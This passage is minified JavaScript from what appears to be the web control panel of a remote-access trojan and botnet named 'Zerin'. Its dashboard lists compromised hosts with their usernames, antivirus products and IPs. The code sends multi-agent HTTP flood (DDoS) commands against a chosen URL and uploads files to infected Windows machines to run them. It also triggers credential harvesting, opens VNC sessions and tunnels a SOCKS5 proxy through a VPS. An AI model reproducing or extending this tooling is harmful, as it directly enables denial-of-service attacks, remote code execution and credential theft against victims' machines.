focus:outline-none focus:border-zerin-accent/50 transition-all`}):a.jsxs("button",{onClick:()=>{o(!0),setTimeout(()=>{var f;return(f=l.current)==null?void 0:f.focus()},50)},className:`inline-flex items-center gap-0.5 px-1.5 py-0.5 text-xs\r
|
|||
|
|
text-zerin-text-muted hover:text-zerin-accent\r
|
|||
|
|
border border-dashed border-zerin-panel-border hover:border-zerin-accent/40\r
|
|||
|
|
transition-colors`,children:[a.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M12 4v16m8-8H4"})}),"tag"]})})]})}const FU=["GET","POST","HEAD"],WU=[{label:"30s",value:30},{label:"60s",value:60},{label:"5m",value:300},{label:"10m",value:600}];function lS({agentIds:e,agentStatus:t}){const[n,r]=m.useState(""),[i,s]=m.useState(60),[o,l]=m.useState(10),[c,u]=m.useState("GET"),[d,f]=m.useState(!1),[p,h]=m.useState(null),[x,g]=m.useState(!1),[y,v]=m.useState([]),b=t==="dead",w=e.length,j=(z,S)=>{h({text:z,type:S}),setTimeout(()=>h(null),5e3)},N=async()=>{if(!n.trim()){j("Target URL is required","err");return}f(!0),v([]);try{const S=(await Promise.allSettled(e.map(A=>Me(A,{command:"ddos_start",args:[n.trim(),String(i),String(o),c]})))).map((A,T)=>({agentId:e[T],ok:A.status==="fulfilled",error:A.status==="rejected"?A.reason instanceof Error?A.reason.message:"Failed":void 0}));v(S);const O=S.filter(A=>A.ok).length;g(O>0),O===w?j(`Flood started on ${w} agent${w!==1?"s":""}: ${c} ${n} | ${o} threads | ${i}s`,"ok"):j(`Started on ${O}/${w} agents (${w-O} failed)`,O>0?"ok":"err")}catch(z){j(z instanceof Error?z.message:"Failed to start","err")}finally{f(!1)}},k=async()=>{f(!0),v([]);try{const S=(await Promise.allSettled(e.map(A=>Me(A,{command:"ddos_stop"})))).map((A,T)=>({agentId:e[T],ok:A.status==="fulfilled",error:A.status==="rejected"?A.reason instanceof Error?A.reason.message:"Failed":void 0}));v(S),g(!1);const O=S.filter(A=>A.ok).length;j(`Stop sent to ${O}/${w} agent${w!==1?"s":""}`,"ok")}catch(z){j(z instanceof Error?z.message:"Failed to stop","err")}finally{f(!1)}};return a.jsx("div",{className:"p-6 animate-fade-in",children:a.jsxs("div",{className:"max-w-2xl mx-auto space-y-6",children:[a.jsxs("div",{className:"flex items-center gap-3",children:[a.jsx("div",{className:"w-8 h-8 bg-red-500/10 flex items-center justify-center",children:a.jsx("svg",{className:"w-4 h-4 text-red-400",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M13 10V3L4 14h7v7l9-11h-7z"})})}),a.jsxs("div",{children:[a.jsx("h2",{className:"text-sm font-semibold text-zerin-text",children:"HTTP Flood"}),a.jsxs("p",{className:"text-xs text-zerin-text-muted",children:["Layer 7 HTTP flood attack",w>1&&a.jsxs("span",{className:"ml-1 text-zerin-accent font-medium",children:["(",w," agents)"]})]})]}),x&&a.jsxs("span",{className:"ml-auto flex items-center gap-1.5 text-xs font-medium text-red-400",children:[a.jsx("span",{className:"w-1.5 h-1.5 rounded-full bg-red-400 animate-pulse"}),"ACTIVE"]})]}),p&&a.jsx("div",{className:`px-3 py-2 text-xs font-mono ${p.type==="ok"?"bg-emerald-500/10 text-emerald-400 border border-emerald-500/20":"bg-red-500/10 text-red-400 border border-red-500/20"}`,children:p.text}),y.length>1&&a.jsx("div",{className:"bg-zerin-panel border border-zerin-panel-border p-3 space-y-1 max-h-32 overflow-y-auto",children:y.map(z=>a.jsxs("div",{className:"flex items-center gap-2 text-xs font-mono",children:[a.jsx("span",{className:`w-1.5 h-1.5 rounded-full ${z.ok?"bg-emerald-400":"bg-red-400"}`}),a.jsx("span",{className:"text-zerin-text-dim",children:z.agentId.slice(0,8)}),a.jsx("span",{className:z.ok?"text-emerald-400":"text-red-400",children:z.ok?"OK":z.error})]},z.agentId))}),a.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border",children:[a.jsx("div",{className:"px-4 py-3 border-b border-zerin-panel-border",children:a.jsx("h3",{className:"text-xs font-semibold text-zerin-text uppercase tracking-wider",children:"Configuration"})}),a.jsxs("div",{className:"p-4 space-y-4",children:[a.jsxs("div",{children:[a.jsx("label",{className:"block text-xs text-zerin-text-muted mb-1.5",children:"Target URL"}),a.jsx("input",{type:"text",value:n,onChange:z=>r(z.target.value),placeholder:"https://example.com",disabled:b||x,className:`w-full bg-zerin-bg border border-zerin-panel-border px-3 py-2\r
|
|||
|
|
text-sm text-zerin-text font-mono placeholder-zerin-text-muted\r
|
|||
|
|
focus:outline-none focus:border-zerin-accent/50\r
|
|||
|
|
disabled:opacity-40 disabled:cursor-not-allowed transition-colors`})]}),a.jsxs("div",{children:[a.jsx("label",{className:"block text-xs text-zerin-text-muted mb-1.5",children:"Method"}),a.jsx("div",{className:"flex gap-2",children:FU.map(z=>a.jsx("button",{onClick:()=>u(z),disabled:b||x,className:`px-4 py-1.5 text-xs font-mono font-medium transition-colors
|
|||
|
|
disabled:opacity-40 disabled:cursor-not-allowed ${c===z?"bg-zerin-accent/15 text-zerin-accent border border-zerin-accent/40":"bg-zerin-bg text-zerin-text-dim border border-zerin-panel-border hover:border-zerin-panel-border-hover"}`,children:z},z))})]}),a.jsxs("div",{children:[a.jsxs("label",{className:"block text-xs text-zerin-text-muted mb-1.5",children:["Duration: ",a.jsxs("span",{className:"text-zerin-text font-mono",children:[i,"s"]})]}),a.jsxs("div",{className:"flex items-center gap-3",children:[a.jsx("input",{type:"range",min:10,max:3600,step:10,value:i,onChange:z=>s(Number(z.target.value)),disabled:b||x,className:"flex-1 accent-zerin-accent disabled:opacity-40"}),a.jsx("div",{className:"flex gap-1.5",children:WU.map(z=>a.jsx("button",{onClick:()=>s(z.value),disabled:b||x,className:`px-2 py-1 text-[10px] font-mono transition-colors
|
|||
|
|
disabled:opacity-40 disabled:cursor-not-allowed ${i===z.value?"bg-zerin-accent/15 text-zerin-accent":"bg-zerin-bg text-zerin-text-dim hover:text-zerin-text border border-zerin-panel-border"}`,children:z.label},z.value))})]})]}),a.jsxs("div",{children:[a.jsxs("label",{className:"block text-xs text-zerin-text-muted mb-1.5",children:["Threads: ",a.jsx("span",{className:"text-zerin-text font-mono",children:o})]}),a.jsx("input",{type:"range",min:1,max:64,value:o,onChange:z=>l(Number(z.target.value)),disabled:b||x,className:"w-full accent-zerin-accent disabled:opacity-40"}),a.jsxs("div",{className:"flex justify-between text-[10px] text-zerin-text-muted font-mono mt-1",children:[a.jsx("span",{children:"1"}),a.jsx("span",{children:"16"}),a.jsx("span",{children:"32"}),a.jsx("span",{children:"48"}),a.jsx("span",{children:"64"})]})]})]})]}),a.jsx("div",{className:"flex gap-3",children:x?a.jsxs("button",{onClick:k,disabled:d,className:`flex-1 flex items-center justify-center gap-2 px-4 py-2.5\r
|
|||
|
|
text-sm font-medium text-white bg-zinc-600 hover:bg-zinc-700\r
|
|||
|
|
disabled:opacity-30 disabled:cursor-not-allowed transition-colors`,children:[d?a.jsx("div",{className:"w-4 h-4 border-2 border-white/30 border-t-white rounded-full animate-spin"}):a.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M5.25 7.5A2.25 2.25 0 017.5 5.25h9a2.25 2.25 0 012.25 2.25v9a2.25 2.25 0 01-2.25 2.25h-9a2.25 2.25 0 01-2.25-2.25v-9z"})}),"Stop Flood",w>1?` (${w})`:""]}):a.jsxs("button",{onClick:N,disabled:b||d||!n.trim(),className:`flex-1 flex items-center justify-center gap-2 px-4 py-2.5\r
|
|||
|
|
text-sm font-medium text-white bg-red-500 hover:bg-red-600\r
|
|||
|
|
disabled:opacity-30 disabled:cursor-not-allowed transition-colors`,children:[d?a.jsx("div",{className:"w-4 h-4 border-2 border-white/30 border-t-white rounded-full animate-spin"}):a.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M13 10V3L4 14h7v7l9-11h-7z"})}),"Start Flood",w>1?` (${w})`:""]})})]})})}const Db={alive:0,stale:1,dead:2};function UU(e,t,n){let r=0;switch(n.column){case"status":r=(Db[e.status]??3)-(Db[t.status]??3);break;case"hostname":r=e.hostname.localeCompare(t.hostname);break;case"username":r=e.username.localeCompare(t.username);break;case"os":r=Io(e.os).localeCompare(Io(t.os));break;case"arch":r=e.arch.localeCompare(t.arch);break;case"av":r=(e.av_product??"").localeCompare(t.av_product??"");break;case"internal_ip":r=e.internal_ip.localeCompare(t.internal_ip);break;case"external_ip":r=e.external_ip.localeCompare(t.external_ip);break;case"pid":r=e.pid-t.pid;break;case"last_seen":r=new Date(e.last_seen).getTime()-new Date(t.last_seen).getTime();break}return n.direction==="asc"?r:-r}const VU=[{key:"status",label:"Status",className:"w-[80px]"},{key:"hostname",label:"Hostname"},{key:"username",label:"Username"},{key:"os",label:"OS"},{key:"arch",label:"Arch",className:"w-[80px]"},{key:"av",label:"AV"},{key:"internal_ip",label:"Internal IP",mono:!0},{key:"external_ip",label:"External IP",mono:!0},{key:"pid",label:"PID",mono:!0,className:"w-[80px]"},{key:"last_seen",label:"Last Seen"}];function HU(){const e=xr(),[t,n]=m.useState([]),[r,i]=m.useState(!0),[s,o]=m.useState(""),[l,c]=m.useState("all"),[u,d]=m.useState({column:"last_seen",direction:"desc"}),[f,p]=m.useState("online"),[h,x]=m.useState({x:0,y:0,visible:!1}),[g,y]=m.useState(null),[v,b]=m.useState(null),[w,j]=m.useState(null),[N,k]=m.useState(null),[z,S]=m.useState(null),[O,A]=m.useState("Zerin"),[T,P]=m.useState(""),[D,G]=m.useState(new Set),[R,K]=m.useState(!1),[_,M]=m.useState(!1),[F,U]=m.useState(""),[V,Z]=m.useState(""),[ae,ue]=m.useState(!1),[be,ye]=m.useState(null),q=m.useRef(null),te=m.useRef(null),C=m.useRef(null),Y=m.useCallback(async()=>{try{const E=await Sj();n(E),o("")}catch{o("Failed to fetch agents")}finally{i(!1)}},[]);m.useEffect(()=>{Y()},[Y]);const{lastMessage:ne}=m.useContext(gd);m.useEffect(()=>{if(ne&&ne.type==="agent_update"){const E=ne.payload;n(ce=>{const J=ce.findIndex(xe=>xe.id===E.id);if(J>=0){const xe=[...ce];return xe[J]=E,xe}return[E,...ce]}),b(ce=>ce&&ce.id===E.id?E:ce)}},[ne]),m.useEffect(()=>{const E=setInterval(Y,15e3);return()=>clearInterval(E)},[Y]),m.useEffect(()=>()=>{q.current&&clearTimeout(q.current)},[]);const B={total:t.length,alive:t.filter(E=>E.status==="alive").length,stale:t.filter(E=>E.status==="stale").length,dead:t.filter(E=>E.status==="dead").length},le=f==="online"?t.filter(E=>E.status==="alive"||E.status==="stale"):t.filter(E=>E.status==="dead"),Ne=[...l==="all"?le:le.filter(E=>E.status===l)].sort((E,ce)=>UU(E,ce,u)),Ae=t.filter(E=>E.status==="alive"||E.status==="stale").length,$=t.filter(E=>E.status==="dead").length;function fe(E){d(ce=>({column:E,direction:ce.column===E&&ce.direction==="asc"?"desc":"asc"}))}function ve(E){c(ce=>ce===E&&E!=="all"?"all":E)}function H(E){if(q.current){clearTimeout(q.current),q.current=null,e(`/agents/${E.id}`);return}q.current=setTimeout(()=>{q.current=null,b(E)},250)}function se(E,ce){E.preventDefault(),y(ce),x({x:E.clientX,y:E.clientY,visible:!0})}function W(E,ce){var X;if(!g)return;const J=g.id,xe=g.hostname,ke=ce==null?void 0:ce.action,ze=ce==null?void 0:ce.tab;if(x(re=>({...re,visible:!1})),y(null),ke==="chat"){j(g);return}if(ke==="confirm"){k({command:E,agentId:J,hostname:xe});return}if(ke==="msgbox"){S({agentId:J,hostname:xe}),A("Zerin"),P("");return}if(ke==="vnc"){Ex(J).then(()=>{const re=st(),oe=window.open(`/vnc/${J}`,`vnc-${J}`,"width=1300,height=800,menubar=no,toolbar=no,location=no,status=no");if(oe&&re){const Oe=et=>{var L;((L=et.data)==null?void 0:L.type)==="zerin_auth_request"&&et.origin===window.location.origin&&(oe
|
|||
|
|
|
|||
|
|
Use: ssh -L ${re.port}:127.0.0.1:${re.port} root@<vps>`)}).catch(()=>alert("Failed to start SOCKS5 proxy"));return}if(ke==="execute_upload"){C.current=J,(X=te.current)==null||X.click();return}if(ke==="ban"){const re=t.find(L=>L.id===J),oe=re==null?void 0:re.banned,Oe=oe?`Unban agent ${xe} (${J.slice(0,8)})? It will be allowed to check in again.`:`Ban agent ${xe} (${J.slice(0,8)})? It will be rejected on future check-ins.`;if(!confirm(Oe))return;(oe?e6:JE)(J).then(()=>{n(L=>L.map(ie=>ie.id===J?{...ie,banned:!oe}:ie))}).catch(()=>o(`Failed to ${oe?"unban":"ban"} agent`));return}if(ke==="remove"){if(!confirm(`Remove agent ${xe} (${J.slice(0,8)})? This cannot be undone.`))return;Cj(J).then(()=>{n(re=>re.filter(oe=>oe.id!==J))}).catch(()=>o("Failed to remove agent"));return}(ke==="submit"||ke==="screenshot")&&E!=="creds"&&Me(J,{command:E}).catch(re=>{o(`Failed to submit task: ${re instanceof Error?re.message:"unknown error"}`)}),ze&&e(`/agents/${J}?tab=${ze}${E==="creds"?"&auto=1":""}`)}function Q(){x(E=>({...E,visible:!1})),y(null)}async function he(E){var ze,X,re;const ce=(ze=E.target.files)==null?void 0:ze[0];if(E.target.value="",!ce||!C.current)return;const J=C.current;C.current=null;const xe=ce.name,ke=`C:\\Windows\\Temp\\${xe}`;try{const oe=await ce.arrayBuffer(),Oe=Array.from(new Uint8Array(oe)),{task_id:et}=await Me(J,{command:"upload",args:[ke],data:Oe});let L=!1;for(let de=0;de<30;de++){await new Promise(Lt=>setTimeout(Lt,2e3));const Ct=(X=(await Xn(J)).results)==null?void 0:X.find(Lt=>Lt.task_id===et);if(Ct){if(Ct.error)throw new Error(Ct.error);L=!0;break}}if(!L)throw new Error("Upload timed out");const{task_id:ie}=await Me(J,{command:"execute",args:[ke]});for(let de=0;de<30;de++){await new Promise(Lt=>setTimeout(Lt,2e3));const Ct=(re=(await Xn(J)).results)==null?void 0:re.find(Lt=>Lt.task_id===ie);if(Ct){if(Ct.error)throw new Error(Ct.error);alert(`Executed ${xe} on agent`);return}}alert(`File uploaded & execute command sent (${xe})`)}catch(oe){o(`Execute file failed: ${oe instanceof Error?oe.message:"unknown error"}`)}}return a.jsxs("div",{className:"p-6 min-h-[calc(100vh+100px)]",children:[a.jsx("input",{ref:te,type:"file",className:"hidden",onChange:he}),a.jsxs("div",{className:"mb-6",children:[a.jsx("h1",{className:"font-display text-2xl font-bold text-zerin-text tracking-wide",children:"Dashboard"}),a.jsx("p",{className:"text-zerin-text-muted text-sm mt-1",children:"Active implant overview"})]}),a.jsxs("div",{className:"grid grid-cols-2 sm:grid-cols-4 gap-3 mb-4",children:[a.jsx(ic,{label:"Total",value:B.total,active:l==="all",onClick:()=>ve("all")}),a.jsx(ic,{label:"Alive",value:B.alive,active:l==="alive",onClick:()=>ve("alive")}),a.jsx(ic,{label:"Stale",value:B.stale,active:l==="stale",onClick:()=>ve("stale")}),a.jsx(ic,{label:"Dead",value:B.dead,active:l==="dead",onClick:()=>ve("dead")})]}),a.jsx($U,{agents:t}),a.jsxs("div",{className:"flex items-center justify-between mb-4",children:[a.jsxs("div",{className:"flex items-center border-b border-zerin-panel-border",children:[a.jsxs("button",{onClick:()=>{p("online"),c("all")},className:`relative px-4 py-2.5 text-sm font-medium tracking-wide transition-colors ${f==="online"?"text-zerin-text":"text-zerin-text-muted hover:text-zerin-text-dim"}`,children:[a.jsxs("span",{className:"flex items-center gap-2",children:[a.jsx("span",{className:`inline-block w-1.5 h-1.5 rounded-full ${f==="online"?"bg-zerin-accent animate-pulse-dot":"bg-zerin-text-muted/40"}`}),"Online",a.jsx("span",{className:`text-xs tabular-nums px-1.5 py-0.5 rounded ${f==="online"?"bg-zerin-accent/15 text-zerin-accent":"bg-zinc-800 text-zerin-text-muted"}`,children:Ae})]}),f==="online"&&a.jsx("span",{className:"absolute bottom-0 left-0 right-0 h-[2px] bg-zerin-accent"})]}),a.jsxs("button",{onClick:()=>{p("offline"),c("all")},className:`relative px-4 py-2.5 text-sm font-medium tracking-wide transition-colors ${f==="offline"?"text-zerin-text":"text-zerin-text-muted hover:text-zerin-text-dim"}`,children:[a.jsxs("span",{className:"flex items-center gap-2",children:[a.jsx("span",{className:`inline-blo
|
|||
|
|
bg-zerin-panel border border-zerin-panel-border px-5 py-3 shadow-xl`,children:[a.jsxs("span",{className:"text-sm text-zerin-text font-medium",children:[D.size," agent",D.size!==1?"s":""," selected"]}),a.jsx("div",{className:"w-px h-5 bg-zerin-panel-border"}),a.jsxs("button",{onClick:()=>K(!0),className:`flex items-center gap-1.5 px-3 py-1.5 text-xs font-medium\r
|
|||
|
|
text-red-400 bg-red-500/10 border border-red-500/20\r
|
|||
|
|
hover:bg-red-500/20 transition-colors`,children:[a.jsx("svg",{className:"w-3.5 h-3.5",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M13 10V3L4 14h7v7l9-11h-7z"})}),"DDoS"]}),a.jsxs("button",{onClick:()=>M(!0),className:`flex items-center gap-1.5 px-3 py-1.5 text-xs font-medium\r
|
|||
|
|
text-orange-400 bg-orange-500/10 border border-orange-500/20\r
|
|||
|
|
hover:bg-orange-500/20 transition-colors`,children:[a.jsx("svg",{className:"w-3.5 h-3.5",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M5 3l14 9-14 9V3z"})}),"Execute File"]}),a.jsx("button",{onClick:()=>G(new Set),className:`px-3 py-1.5 text-xs font-medium text-zerin-text-dim\r
|
|||
|
|
hover:text-zerin-text bg-zerin-panel-hover hover:bg-zerin-bg transition-colors`,children:"Clear"})]}),R&&a.jsx("div",{className:"fixed inset-0 z-50 flex items-center justify-center bg-black/60",onClick:()=>K(!1),children:a.jsxs("div",{className:"bg-zerin-bg border border-zerin-panel-border w-full max-w-2xl max-h-[80vh] overflow-y-auto",onClick:E=>E.stopPropagation(),children:[a.jsxs("div",{className:"flex items-center justify-between px-6 py-4 border-b border-zerin-panel-border",children:[a.jsx("h2",{className:"font-display text-lg font-semibold text-zerin-text",children:"Multi-Agent DDoS"}),a.jsx("button",{onClick:()=>K(!1),className:"text-zerin-text-muted hover:text-zerin-text transition-colors",children:a.jsx("svg",{className:"w-5 h-5",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M6 18L18 6M6 6l12 12"})})})]}),a.jsx(lS,{agentIds:[...D]})]})}),_&&a.jsx("div",{className:"fixed inset-0 z-50 flex items-center justify-center bg-black/60",onClick:()=>M(!1),children:a.jsxs("div",{className:"bg-zerin-bg border border-zerin-panel-border w-full max-w-lg",onClick:E=>E.stopPropagation(),children:[a.jsxs("div",{className:"flex items-center justify-between px-6 py-4 border-b border-zerin-panel-border",children:[a.jsx("h2",{className:"font-display text-lg font-semibold text-zerin-text",children:"Execute File"}),a.jsx("button",{onClick:()=>M(!1),className:"text-zerin-text-muted hover:text-zerin-text transition-colors",children:a.jsx("svg",{className:"w-5 h-5",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M6 18L18 6M6 6l12 12"})})})]}),a.jsxs("div",{className:"p-6 space-y-4",children:[a.jsxs("p",{className:"text-xs text-zerin-text-muted",children:["Run a file on ",D.size," agent",D.size!==1?"s":""]}),be&&a.jsx("div",{className:`px-3 py-2 text-xs font-mono ${be.type==="ok"?"bg-emerald-500/10 text-emerald-400 border border-emerald-500/20":"bg-red-500/10 text-red-400 border border-red-500/20"}`,children:be.text}),a.jsxs("div",{children:[a.jsx("label",{className:"block text-xs text-zerin-text-muted mb-1.5",children:"File Path"}),a.jsx("input",{type:"text",value:F,onChange:E=>U(E.target.value),placeholder:"C:\\path\\to\\file.exe",className:`w-full bg-zerin-panel border border-zerin-panel-border px-3 py-2\r
|
|||
|
|
text-sm text-zerin-text font-mono placeholder-zerin-text-muted\r
|
|||
|
|
focus:outline-none focus:border-zerin-accent/50 transition-colors`})]}),a.jsxs("div",{children:[a.jsx("label",{className:"block text-xs text-zerin-text-muted mb-1.5",children:"Arguments (optional)"}),a.jsx("input",{type:"text",value:V,onChange:E=>Z(E.target.value),placeholder:"--flag value",className:`w-full bg-zerin-panel border border-zerin-panel-border px-3 py-2\r
|
|||
|
|
text-sm text-zerin-text font-mono placeholder-zerin-text-muted\r
|
|||
|
|
focus:outline-none focus:border-zerin-accent/50 transition-colors`})]}),a.jsxs("button",{onClick:async()=>{if(F.trim()){ue(!0),ye(null);try{const E=[F.trim()];V.trim()&&V.trim().split(/\s+/).forEach(ke=>E.push(ke));const J=(await Promise.allSettled([...D].map(ke=>Me(ke,{command:"execute",args:E})))).filter(ke=>ke.status==="fulfilled").length,xe=D.size;ye(J===xe?{text:`Sent to ${xe} agent${xe!==1?"s":""}`,type:"ok"}:{text:`Sent to ${J}/${xe} agents (${xe-J} failed)`,type:J>0?"ok":"err"})}catch(E){ye({text:E instanceof Error?E.message:"Failed",type:"err"})}finally{ue(!1)}}},disabled:ae||!F.trim(),className:`w-full flex items-center justify-center gap-2 px-4 py-2.5\r
|
|||
|
|
text-sm font-medium text-white bg-orange-500 hover:bg-orange-600\r
|
|||
|
|
disabled:opacity-30 disabled:cursor-not-allowed transition-colors`,children:[ae?a.jsx("div",{className:"w-4 h-4 border-2 border-white/30 border-t-white rounded-full animate-spin"}):a.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M5 3l14 9-14 9V3z"})}),"Execute",D.size>1?` (${D.size})`:""]})]})]})}),a.jsx(b_,{x:h.x,y:h.y,visible:h.visible,onAction:W,onClose:Q,agentStatus:g==null?void 0:g.status,agentName:g==null?void 0:g.hostname}),a.jsx(Dj,{agentId:(w==null?void 0:w.id)??"",agentHostname:(w==null?void 0:w.hostname)??"",open:w!==null,onClose:()=>j(null)}),a.jsx(j_,{open:v!==null,onClose:()=>b(null),title:(v==null?void 0:v.hostname)??"Agent Details",children:v&&a.jsx(GU,{agent:v,onNavigate:()=>e(`/agents/${v.id}`),onTagsChange:async E=>{const ce=v.tags??[];n(J=>J.map(xe=>xe.id===v.id?{...xe,tags:E}:xe)),b(J=>J&&{...J,tags:E});try{await n6(v.id,E)}catch{n(J=>J.map(xe=>xe.id===v.id?{...xe,tags:ce}:xe)),b(J=>J&&{...J,tags:ce}),o("Failed to update tags")}}})}),N&&a.jsx("div",{className:"fixed inset-0 z-50 flex items-center justify-center bg-black/60",onClick:()=>k(null),children:a.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border p-6 max-w-sm w-full mx-4",onClick:E=>E.stopPropagation(),children:[a.jsxs("h3",{className:"font-display text-lg font-semibold text-zerin-text mb-2",children:[N.command==="restart"?"Restart":"Shutdown"," PC"]}),a.jsxs("p",{className:"text-zerin-text-muted text-sm mb-6",children:["Are you sure you want to ",N.command," ",a.jsx("span",{className:"text-zerin-text font-medium",children:N.hostname}),"?",N.command==="shutdown"&&" The agent will go offline."]}),a.jsxs("div",{className:"flex items-center justify-end gap-2",children:[a.jsx("button",{onClick:()=>k(null),className:`px-4 py-2 text-sm font-medium text-zerin-text-dim\r
|
|||
|
|
hover:text-zerin-text bg-zerin-panel-hover hover:bg-zerin-bg\r
|
|||
|
|
transition-colors`,children:"Cancel"}),a.jsx("button",{onClick:()=>{Me(N.agentId,{command:N.command}).catch(E=>{o(`Failed to submit task: ${E instanceof Error?E.message:"unknown error"}`)}),k(null)},className:`px-4 py-2 text-sm font-medium text-white transition-colors ${N.command==="shutdown"?"bg-zerin-danger hover:bg-red-600":"bg-zerin-accent hover:bg-zerin-accent-hover"}`,children:N.command==="restart"?"Restart":"Shutdown"})]})]})}),z&&a.jsx("div",{className:"fixed inset-0 z-50 flex items-center justify-center bg-black/60",onClick:()=>S(null),children:a.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border p-6 max-w-md w-full mx-4",onClick:E=>E.stopPropagation(),children:[a.jsx("h3",{className:"font-display text-lg font-semibold text-zerin-text mb-1",children:"Send Message Box"}),a.jsxs("p",{className:"text-zerin-text-muted text-xs mb-4",children:["Target: ",a.jsx("span",{className:"text-zerin-text font-medium",children:z.hostname})]}),a.jsxs("div",{className:"space-y-3 mb-6",children:[a.jsxs("div",{children:[a.jsx("label",{className:"block text-zerin-text-muted text-xs mb-1",children:"Title"}),a.jsx("input",{type:"text",value:O,onChange:E=>A(E.target.value),placeholder:"Window title...",className:`w-full bg-zerin-bg border border-zerin-panel-border px-3 py-1.5\r
|
|||
|
|
text-sm text-zerin-text placeholder-zerin-text-muted\r
|
|||
|
|
focus:outline-none focus:border-zerin-accent/50 focus:ring-1 focus:ring-zerin-accent/20 transition-all`})]}),a.jsxs("div",{children:[a.jsx("label",{className:"block text-zerin-text-muted text-xs mb-1",children:"Message"}),a.jsx("textarea",{value:T,onChange:E=>P(E.target.value),placeholder:"Message text...",rows:3,className:`w-full bg-zerin-bg border border-zerin-panel-border px-3 py-1.5\r
|
|||
|
|
text-sm text-zerin-text placeholder-zerin-text-muted resize-none\r
|
|||
|
|
focus:outline-none focus:border-zerin-accent/50 focus:ring-1 focus:ring-zerin-accent/20 transition-all`})]})]}),a.jsxs("div",{className:"flex items-center justify-end gap-2",children:[a.jsx("button",{onClick:()=>S(null),className:`px-4 py-2 text-sm font-medium text-zerin-text-dim\r
|
|||
|
|
hover:text-zerin-text bg-zerin-panel-hover hover:bg-zerin-bg\r
|
|||
|
|
transition-colors`,children:"Cancel"}),a.jsx("button",{onClick:()=>{T.trim()&&Me(z.agentId,{command:"troll_msgbox",args:[T,O||"Zerin"]}).catch(E=>{o(`Failed to submit task: ${E instanceof Error?E.message:"unknown error"}`)}),S(null)},disabled:!T.trim(),className:`px-4 py-2 text-sm font-medium text-white bg-zerin-accent\r
|
|||
|
|
hover:bg-zerin-accent-hover disabled:opacity-40 disabled:cursor-not-allowed\r
|
|||
|
|
transition-colors`,children:"Send"})]})]})})]})}function ic({label:e,value:t,active:n,onClick:r}){return a.jsxs("button",{onClick:r,className:`bg-zerin-panel border p-4 text-left transition-all duration-150 hover:bg-zerin-panel-hover ${n?"border-l-2 border-l-zerin-accent border-t-zerin-panel-border border-r-zerin-panel-border border-b-zerin-panel-border":"border-zerin-panel-border"}`,children:[a.jsx("p",{className:"text-xs text-zerin-text-muted uppercase tracking-wider mb-1",children:e}),a.jsx("p",{className:"text-2xl font-display font-bold text-zerin-text",children:t})]})}function KU({column:e,sort:t}){return t.column!==e?a.jsx("svg",{className:"h-3 w-3 text-zerin-text-muted/30",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M7 16V4m0 0L3 8m4-4l4 4m6 0v12m0 0l4-4m-4 4l-4-4"})}):t.direction==="asc"?a.jsx("svg",{className:"h-3 w-3 text-zerin-accent",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M5 15l7-7 7 7"})}):a.jsx("svg",{className:"h-3 w-3 text-zerin-accent",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M19 9l-7 7-7-7"})})}function GU({agent:e,onNavigate:t,onTagsChange:n}){return a.jsxs("div",{className:"space-y-6",children:[a.jsxs("div",{className:"flex items-center gap-3",children:[a.jsx(xd,{status:e.status,size:"lg",showLabel:!0}),e.elevated&&a.jsx("span",{className:"inline-flex items-center bg-zerin-panel-hover px-2 py-1 text-xs font-semibold uppercase tracking-wider text-zerin-text-dim",children:"Elevated"})]}),a.jsxs("div",{className:"grid grid-cols-2 gap-x-4 gap-y-4",children:[a.jsx(jn,{label:"Hostname",value:e.hostname}),a.jsx(jn,{label:"Username",value:e.username}),a.jsx(jn,{label:"OS",value:Io(e.os)}),a.jsx(jn,{label:"Architecture",value:e.arch}),a.jsx(jn,{label:"PID",value:String(e.pid),mono:!0}),a.jsx(jn,{label:"Integrity",value:e.integrity}),a.jsx(jn,{label:"Internal IP",value:e.internal_ip,mono:!0}),a.jsx(jn,{label:"External IP",value:e.external_ip,mono:!0}),a.jsx(jn,{label:"Sleep / Jitter",value:Ij(e.sleep_interval,e.jitter),mono:!0}),a.jsx(jn,{label:"Agent ID",value:no(e.id),mono:!0}),a.jsx(jn,{label:"First Seen",value:Lo(e.first_seen)}),a.jsx(jn,{label:"Last Seen",value:eu(e.last_seen)})]}),a.jsxs("div",{children:[a.jsx("p",{className:"text-zerin-text-muted text-xs mb-1.5",children:"Tags"}),a.jsx(BU,{tags:e.tags??[],onChange:n})]}),a.jsx("div",{className:"border-t border-zerin-panel-border"}),a.jsxs("button",{onClick:t,className:"w-full flex items-center justify-center gap-2 bg-zerin-accent px-4 py-2.5 text-sm font-medium text-white transition-colors hover:bg-zerin-accent-hover",children:["View Full Details",a.jsx("svg",{className:"h-4 